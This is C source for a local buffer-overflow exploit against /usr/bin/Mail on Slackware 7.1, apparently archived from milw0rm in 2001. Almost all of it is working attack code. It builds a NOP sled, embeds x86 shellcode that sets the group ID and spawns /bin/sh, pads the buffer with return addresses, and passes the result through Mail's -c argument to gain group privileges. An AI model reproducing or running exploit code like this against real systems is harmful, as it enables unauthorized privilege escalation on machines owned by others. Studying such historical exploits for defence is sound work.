/*
Slackware 7.1 /usr/bin/Mail Exploit give gid=1 ( bin )
if /usr/bin/Mail is setgid but it is not setgid,
setuid for default.
tested on my box ( sl 7.1 )
crazy exploited by kengz.
GID.... \x01 = 1 (bin)
\x02 = 2 ,
\x03 = 3 ,
... \x0a = 10
\x0b = 11
....
*/
#include <stdio.h>
#include <string.h>
#define GID "\x03"
int main(int argc, char **argv) {
char shellcode[] =
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
"\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf2[10000];
char buffer[15000];
char nop[8000];
char *p, *q;
long ret=0xbfffffff;
int len, offset = 0, i,j,k,ii;
ret = ret - 5000;
for(k=0; k<2000; k+=4)
*(long *)&buf2[k] = ret;
for(k=0;k<7000;k++){
strcat(nop,"\x90");
}
snprintf(buffer,12000,"%s%s%s",nop,shellcode,buf2);
printf("Crazy Mail sploit by kengz \n");
printf("Hit ' . ' to go \n");
execl("/usr/bin/Mail","Mail","x","-s","x","-c",buffer,0);
}
// milw0rm.com [2001-03-03]